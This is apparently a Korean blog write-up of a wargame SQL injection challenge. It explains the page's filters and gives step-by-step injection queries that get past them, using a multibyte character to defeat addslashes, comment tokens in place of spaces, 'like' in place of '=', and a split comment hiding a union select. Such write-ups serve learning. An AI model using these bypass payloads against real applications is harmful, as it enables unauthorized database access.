본문 바로가기

 

50번 문제에요.

배점은 450점, 분야는 DB에요.

 

 

이번에도 SQL Injection 을 하래요.

그대로 엔터를 누르면

 

 

level : 1

이래요.

 

소스를 볼게요.

 

 

addslashes()mb_convert_encoding() 를 같이 쓰네요.

그리고

from pw ( ) 공백문자 % = > <

를 필터링하고

id 에 union 이 들어오는것도 필터링을 하네요.

 

 

공백문자가 필터링되니 띄워쓰기를 /**/ 로 우회해서

select lv from chall50 where id='꩜' or 1 like 1#' and pw=md5('guest') 

가 되게 해주면?

 

 

 

level : 1

이래요.

테이블의 첫번째값의 lv 가 3 이 아닌가봐요.

 

 

select lv from chall50 where id='꩜' or lv like 3#' and pw=md5('guest')  

이 되게 해주면?

 

 

테이블에 lv 가 3인게 없나봐요.

 

그러니

select lv from chall50 where id='꩜'/*' and pw=md5('*/​union select 3#') 

이 되게 해주면?

 

 

빠밤!

 

문제가 풀렸네요.

댓글